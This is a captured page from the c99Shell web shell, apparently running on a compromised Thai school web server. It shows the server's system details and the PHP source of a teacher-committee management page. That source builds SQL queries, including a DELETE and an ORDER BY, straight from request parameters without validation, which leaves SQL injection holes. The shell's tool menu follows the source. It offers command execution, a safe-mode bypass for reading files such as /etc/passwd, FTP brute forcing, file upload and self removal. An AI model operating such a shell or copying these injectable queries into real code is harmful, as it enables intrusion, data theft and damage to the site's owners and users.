!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditCommitteeList.php (28.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 " committee_tb";
        
        
        
$myTable2PK "Year_com"
            
$WHERE "Teacher_code='$Teacher_code'";
                
//###  Persional
    
$sql " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
    
$result $dbObj->execQuery($sql);
    
$row $dbObj->fetchArray($result);
        
$Teacher_code $row['Teacher_code'];
        
        
//###  Committee
      
$sql2 " SELECT *  FROM     $myTable2   WHERE Teacher_code='$Teacher_code'   ";
        
$result2 $dbObj->execQuery($sql2);
        
$num $dbObj->_numrows;
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage =10; }
        
        
        
/**  Botton Name Action */
        
$action $_REQUEST['action'];
        
$id $_REQUEST['id'];
    
        if( isset(
$action) && !empty($action) ) {
            switch(
$action) {
                case 
"Delete" :
                    
$num count($id);
                    for( 
$i=0$i<$num$i++ ) {
                        
//--- training_tb
                        
$qryDel " DELETE FROM  $myTable2  WHERE   code='$id[$i]' ";
                        
$resultDel $dbObj->runQuery($qryDel);
                        
$dbObj->freeresult($resultDel);
                    } 
# for
                
break;
            } 
# switch
        
# if
        
    
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>MIS -- Teacher</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <fieldset>
 
       <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTable2PK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "DESC"; }
                        
        if( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        elseif( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
        
/**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( isset($_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code'  ORDER BY $OrderBy $ASCDESC ";
        } 
        elseif( !isset(
$_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code'  ORDER BY $myTable2PK DESC ";
        }
        
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
   
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?Teacher_code=<?=$Teacher_code;?>&amp;page=<?=$page;?>">
      <tr>
        <td height="5" colspan="2"></td>
      </tr>
      <tr>
        <td height="30" colspan="2" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_Teach.php">ข้อมูลทั่วไปบุคลากร</a> &raquo; <span class="NOTE">ข้อมูลการเป็นกรรมการวิชาการ</span></strong></td>
      </tr>
      <tr>
        <td width="423"><span style="padding-bottom:5px;">ทั้งหมด: <strong>
          <?=$numrows;?>
        </strong> รายการ</span></td>
        <td width="357" align="right"><span class="PADDING-RIGHT-10">จำนวนข้อมูลต่อหน้า
            <select name="perpage" id="perpage" onchange="document.myForm.perpage.value=this.value; document.myForm.submit();" style="font-size:9pt; color:darkblue">
       
              <option value="10" <?php if( $perpage=="10" ) echo 'selected'?>>10</option>
              <option value="20" <?php if( $perpage=="20" ) echo 'selected'?>>20</option>
              <option value="50" <?php if( $perpage=="50" ) echo 'selected'?>>50</option>
              <option value="100" <?php if( $perpage=="100" ) echo 'selected'?>>100</option>
            </select>
        </span></td>
      </tr>
      <tr>
        <td colspan="2" align="center">
          <?php if( $numrows ) { ?>
     
          <table width="760" border="0" align="center" cellpadding="1" cellspacing="1" bordercolor="#CCCCCC" bgcolor="#FFFFFF" style="border:1px solid #CCCCCC">
<tr bgcolor="#DFEBF9">
                        <td height="26" colspan="7" align="right" bgcolor="#FFFFFF"><font face="Tahoma"><font color="#993333"><font face="Tahoma"><span style="padding-bottom:5px;"></span><font color="#993333"><font face="Tahoma"><span style="padding-bottom:5px;">
                          <input type="button" name="button" id="button" value="เพิ่มข้อมูลการ" style="color:darkgreen; width:100px; cursor:hand" onclick="location.href='AddCommittee.php?Teacher_code=<?=$Teacher_code;?>'" />
                        </span><font color="#993333"><font face="Tahoma"><span style="padding-bottom:5px;">
                        <input type="button" name="button" id="button" value="ข้อมูล" style="color:darkgreen; width:100px; cursor:hand" onclick="location.href='CommitteeMe.php?Teacher_code=<?=$Teacher_code;?>'" />
                        <input type="submit" name="action" id="action" value="Delete" class="TEXT-CLIMSON10 CURSOR-HAND" onclick="return confirmDelete(this.form);" />
                        </span></font></font><span style="padding-bottom:5px;">                        </span></font></font></font></font></font></td>
                </tr>
                      <tr bgcolor="#CCE6FF">
                        <td colspan="3" align="center" bordercolor="#0066CC" bgcolor="#CCE6FF" style="border:0px solid gray">&nbsp;</td>
                        <td colspan="4" align="center" bordercolor="#0066CC" style="border:0px solid gray"><span class="style15"><font face="Tahoma">แยกประเภทตามการเป็นกรรมการ</font> <font face="Tahoma">ให้บริการวิชาการอื่นฯ</font></span></td>
                </tr>
                      <tr bgcolor="#CCE6FF">
                        <td width="35" align="center" bgcolor="#DFEBF9" class="BORDER-LEFT"><font color="#000000" face="Tahoma">ลำดับ</font></td>
                        <td width="43" align="center" class="BORDER-LEFT-RIGHT"  style="border:0px solid gray"><font face="Tahoma">ปี 
                          พ.ศ</font></td>
                        <td width="416" align="center" class="BORDER-LEFT-RIGHT" style="border:0px solid gray"><?php
                $myOrderCode 
"Title";
                if(
$OrderBy==$myOrderCode) { 
                    if(
$ASCDESC=="ASC") { 
                
?>
                          <img src="../images/controlpage/desc_order.gif" width="7" height="7" />
                          <?php 
                    
}
                    if(
$ASCDESC=="DESC") { 
                
?>
                          <img src="../images/controlpage/asc_order.gif" width="7" height="7" />
                          <?php
                    
}
                } 
            
?>
                        <a href="<?=$PHP_SELF;?>?page=<?=$page;?>&amp;OrderBy=<?=$myOrderCode;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;perpage=<?=$perpage;?>"><strong>เรื่อง</strong></a></td>
<td align="center" class="BORDER-LEFT-RIGHT" style="border:0px solid gray">&nbsp;</td>
                        <td align="center" class="BORDER-LEFT-RIGHT" style="border:0px solid gray">&nbsp;</td>
                        <td width="45" align="center" bgcolor="#CCE6FF" class="BORDER-GREY"><strong>Edit</strong></td>
                        <td width="42" align="center" bgcolor="#CCE6FF" class="BORDER-LEFT"><input name="checkboxall" type="checkbox" id="checkboxall" onclick="checkAllDelete(this,this.form);" value="checkbox" alt=" ลบทั้งหมดที่เลือก " title=" เลือก/ไม่เลือก ทั้งหมด " /></td>
                      </tr>
                      <?php
                           $no 
1+($display-1)*$limit;
                     while( 
$rs2 $dbObj->fetchArray($result) ) { 
                          
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
                    
?>
                      <tr>
                  <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
        <td height="23" align="center" class="BORDER-TOP"><?=$no;?></td>
                        <td align="center"bgcolor="<?=$bgColor;?>" class="BORDER-TOP PADDING-LEFT-5"><? echo $rs2[Year_com]; ?></font></td>
                        <td valign="top" bgcolor="<?=$bgColor;?>" class="BORDER-TOP  PADDING-LEFT-5"><? echo $rs2[Title]; ?></font></td>
                        <td width="92" align="center" bgcolor="<?=$bgColor;?>" class="BORDER-TOP  PADDING-LEFT-5">&nbsp;</td>
                        <td width="63" align="center"bgcolor="<?=$bgColor;?>" class="BORDER-TOP  PADDING-LEFT-5">&nbsp;</td>
                        <td align="center" bgcolor="<?=$bgColor;?>" class="BORDER-TOP"><a href="FrmEditCommittee.php?code=<?=$rs2['code'];?>&amp;Teacher_code=<?=$rs2['Teacher_code'];?>&amp;page=<?=$page;?>"><img src="../images/icons/edit.gif" width="16" height="16" border="0" title=" แก้ไขข้อมูล <?=$rs2['code'];?> " /></a></td>
                        <td align="center" bgcolor="<?=$bgColor;?>" class="BORDER-TOP BORDER-LEFT"><input name="id[]" type="checkbox" id="id[]" title=" ลบข้อมูล <?php echo $rs2['code']; ?> " onclick="highlightRow(this);" value="<?=$rs2['code'];?>" /></td>
                      </tr>
                      <?php
                            $i
++;
                         }    
                    
?>
                    </table>
         
                 <table width="760" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid #CCCCCC">
                   <tr>
                    <td width="48%" align="left" bgcolor="#FDFCEC"><font color="#003366" size="2" face="Tahoma">จำนวนการเป็นกรรมการ 
                  (แยกตามประเภท)</font></td>
                    <td width="20%"><table width="99%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="40%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql1 "Select * From committee_tb Where Edu='Y' AND Teacher_code='$Teacher_code' AND Year_com='$Year_com'";
                            
$result1 mysql_query($sql1);
                            
$Srs1 mysql_num_rows($result1);
                                echo 
$Srs1;
                          
?>
                          </font></div></td>
                          <td width="32%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql5 "Select * From committee_tb Where Edu_job='Y' AND Teacher_code='$Teacher_code' ";
                            
$result5 mysql_query($sql5);
                            
$Srs5 mysql_num_rows($result5);
                                echo 
$Srs5;
                          
?>
                          </font></div></td>
                          <td width="28%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Tsis='Y' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$Srs8 mysql_num_rows($result8);
                                echo 
$Srs8;
                      
?>
                          </font></div></td>
                      </tr>
                  </table></td>
                      <td width="32%" colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="20%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql1 "Select * From committee_tb Where Check_tool='Y' AND Teacher_code='$Teacher_code' ";
                            
$result1 mysql_query($sql1);
                            
$rs10 mysql_num_rows($result1);
                                echo 
$rs10;
                            
?>
                          </font></div></td>
                          <td width="22%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Scp10 ='Y' AND Teacher_code='$Teacher_code' AND Year_com='$Year_com' ";
                            
$result8 mysql_query($sql8);
                            
$rs11 mysql_num_rows($result8);
                                echo 
$rs11;
                            
?>
                            </font></div></td>
                            <td width="18%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                            <?php 
                            $Teacher_code 
$row[Teacher_code];
                           
$sql5 "Select * From committee_tb Where Club_bcnlp='Y' AND Teacher_code='$Teacher_code'  ";
                           
$result5 mysql_query($sql5);
                           
$rs12 mysql_num_rows($result5);
                            echo 
$rs12;
                          
?>
                          </font></div></td>
                          <td width="20%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql5 "Select * From committee_tb Where North_network='Y' AND Teacher_code='$Teacher_code' ";
                            
$result5 mysql_query($sql5);
                            
$rs13 mysql_num_rows($result5);
                                echo 
$rs13;
                          
?>
                          </font></div></td>
                          <td width="20%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Else_commit ='Y' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$rs14 mysql_num_rows($result8);
                                echo 
$rs14;
                          
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                </tr>
                  <tr>
                    <td align="left" bgcolor="#F0FDE8"><font size="2" face="Tahoma">จำนวนการไม่เป็นกรรมการ 
                    (แยกตามประเภท) </font></td>
                  <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="41%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                          $Teacher_code 
$row[Teacher_code];
                          
$sql3 "Select * From committee_tb Where Edu='N' AND Teacher_code='$Teacher_code' ";
                          
$result3 mysql_query($sql3);
                          
$Srs3 mysql_num_rows($result3);
                          echo 
$Srs3;
                          
?>
                          </font></div></td>
                          <td width="33%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                          <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql6 "Select * From committee_tb Where Edu_job='N' AND Teacher_code='$Teacher_code' ";
                            
$result6 mysql_query($sql6);
                            
$Srs6 mysql_num_rows($result6);
                            echo 
$Srs6;
                          
?>
                          </font></div></td>
                          <td width="26%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                              <?php 
                            $Teacher_com 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Tsis='N' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$Srs9 mysql_num_rows($result8);
                            echo 
$Srs9;
                          
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                    <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                            <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql1 "Select * From committee_tb Where Check_tool='N' AND Teacher_code='$Teacher_code' ";
                            
$result1 mysql_query($sql1);
                            
$rs15 mysql_num_rows($result1);
                            echo 
$rs15;
                          
?>
                          </font></div></td>
                          <td width="22%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                              <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Scp10 ='N' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$rs16 mysql_num_rows($result8);
                            echo 
$rs16;
                          
?>
                          </font></div></td>
                          <td width="18%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                              <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql5 "Select * From committee_tb Where Club_bcnlp='N' AND Teacher_code='$Teacher_code' ";
                            
$result5 mysql_query($sql5);
                            
$rs17 mysql_num_rows($result5);
                            echo 
$rs17;
                          
?>
                          </font></div></td>
                          <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                              <?php 
                           $Teacher_code 
$row[Teacher_code];
                           
$sql5 "Select * From committee_tb Where North_network='N' AND Teacher_code='$Teacher_code' ";
                           
$result5 mysql_query($sql5);
                           
$rs18 mysql_num_rows($result5);
                            echo 
$rs18;
                          
?>
                          </font></div></td>
                          <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                              <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select Count(Else_commit ) as sum8 From committee_tb Where Else_commit ='N' AND Teacher_code='$Teacher_code'";
                            
$result8 mysql_query($sql8);
                            
$rs19 mysql_num_rows($result8);
                            echo 
$rs19;
                          
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr>
                    <td align="left" bgcolor="#CCE6FF"><font size="2" face="Tahoma">จำนวนการเป็นกรรมการวิชาการ/วิชาชีพ/วิทยานิพนธ์</font></td>
                  <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="42%" bgcolor="#CCE6FF">&nbsp;</td>
                          <td width="31%" bgcolor="#CCE6FF">&nbsp;</td>
                          <td width="27%" bgcolor="#CCE6FF"><div align="center"><font color="#009966" size="2" face="Tahoma">
                              <?php
                             $SumCommit 
$Srs1 $Srs5 $Srs8;
                             echo
"$SumCommit";
                        
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                    <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="20%" bgcolor="#CCE6FF">&nbsp;</td>
                          <td width="22%" bgcolor="#CCE6FF">&nbsp;</td>
                          <td width="18%" bgcolor="#CCE6FF">&nbsp;</td>
                          <td width="20%" bgcolor="#CCE6FF">&nbsp;</td>
                          <td width="20%" bgcolor="#CCE6FF"><div align="center"><font color="#009966" size="2" face="Tahoma">
                              <?php
                             $SumCommit 
$rs10 $rs11 $rs12 $rs13; + $rs14 ;
                             echo
"$SumCommit";
                        
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr>
                    <td align="left" bgcolor="#F0FDE8"><font size="2" face="Tahoma">จำนวนการไม่เป็นกรรมการวิชาการ/วิชาชีพ/วิทยานิพนธ์</font></td>
                  <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="41%" bgcolor="#F0FDE8">&nbsp;</td>
                          <td width="31%" bgcolor="#F0FDE8">&nbsp;</td>
                          <td width="28%" bgcolor="#F0FDE8"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                              <?php
                             $SumUCommit 
$Srs3 $Srs6 $Srs9;
                             echo
"$SumUCommit";
                        
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                    <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                        <tr>
                          <td width="20%" bgcolor="#F0FDE8">&nbsp;</td>
                          <td width="23%" bgcolor="#F0FDE8">&nbsp;</td>
                          <td width="17%" bgcolor="#F0FDE8">&nbsp;</td>
                          <td width="20%" bgcolor="#F0FDE8">&nbsp;</td>
                          <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                              <?php
                             $SumCommit 
$rs15 $rs16 $rs17 $rs18 $rs19;
                             echo
"$SumCommit";
                        
?>
                          </font></div></td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr>
                    <td colspan="4" align="center"><strong><font color="#003366" size="2" face="Tahoma">ทั้งหมด</font><font color="#FF0000" size="2" face="Geneva, Arial, Helvetica, sans-serif"> <? echo $num ?><font color="#003366" face="Tahoma"> เรื่อง</font></font></strong> </td>
                  </tr>
                </table>
                  
                    <?php #if ?>
                    <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
                      <tr>
                        <td><?php if( $numrows ) { ?>
                          <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                            <tr>
                              <td height="10"></td>
                             </tr>
                            <tr>
                              <td align="left"><span style="font-size:12px">หน้า:
                                <?php
                        
/**  ตรวจสอบการ Order By ของ Query */
                        
if( $ASCDESC=="ASC") { $ASCDESC "DESC"; }  else { $ASCDESC="ASC"; } 
                        
                        
$paging ceil($numrows/$limit);
                                
                        
//=== Display the navigation
                        
if ($display 1) {    
                            
$previous $display 1;                    
                    
?>
                                <a href="<?=$PHP_SELF;?>?page=1&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">|&laquo; หน้าแรก</font></a>&nbsp; <a href="<?=$PHP_SELF;?>?page=<?=$previous;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">&laquo; ก่อนหน้า</font></a>
                                <?php
                        
// end..if
                        
if($numrows != $limit) {                 
                            if(
$paging $scroll) { 
                                
$first $_GET['page']; 
                                
$last = ($scroll 1) + $_GET['page']; 
                            } else {                         
                                
$first 1;                        
                                
$last $paging;                        
                            } 
                            
                            if(
$last $paging ) {                            
                                
$first $paging - ($scroll 1);                            
                                
$last $paging;                            
                            }
                                            
                            for(
$i=$first$i<=$last$i++) {                        
                                if(
$display == $i) {        
                                    echo 
"<font color=red size=2> [<strong>$i</strong>] </font>";
                                } 
                                else {
                                    
//echo " <a href=\"$PHP_SELF?page=$i&user_id=$user_id&user_login=$user_login\">$i</a> ";
                                    
printf(" <a href=\"%s?page=%s&perpage=%s&OrderBy=%s&ASCDESC=%s&Teacher_code=%s\">%s</a> "$_SERVER['PHP_SELF'], $i$perpage$OrderBy$ASCDESC$Teacher_code$i );
                                }        
                            } 
// end..for
                        
// end..if
                            
                        
if($display $paging) {
                            
$next $display 1;                        
                    
?>
                                &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$next;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">ถัดไป &raquo;</font></a> &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$paging;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">หน้าสุดท้าย &raquo;|</font></a>
                                <?php
                    
// end..if
                
?>
                              </span></td>
                             </tr>
                           </table>
                          <?php #if ?></td>
                       </tr>
                   </table>
                    <p>                    <br />
                   </p>
                  <table width="760" border="0" align="center" cellpadding="1" cellspacing="1">
                  <tr>
                    <td colspan="2"><font color="#993333" size="2" face="Tahoma"><strong>หมายเหตุ***</strong></font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td width="13%" align="center"><strong><font size="2" face="Tahoma">Y</font></strong></td>
                    <td width="87%"><font color="#000000" size="2" face="Tahoma">เป็นกรรมการ</font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td align="center"><strong><font size="2" face="Tahoma">N</font></strong></td>
                    <td><font color="#000000" size="2" face="Tahoma">ไม่ได้เป็นกรรมการ</font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td height="19" align="center">&nbsp;</td>
                    <td>&nbsp;</td>
                  </tr>
                </table>
              <br />
            <input type="button" name="button" id="button" value="&laquo; ย้อนกลับ" onclick="window.history.back()" class="CURSOR-HAND" /></td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0143 ]--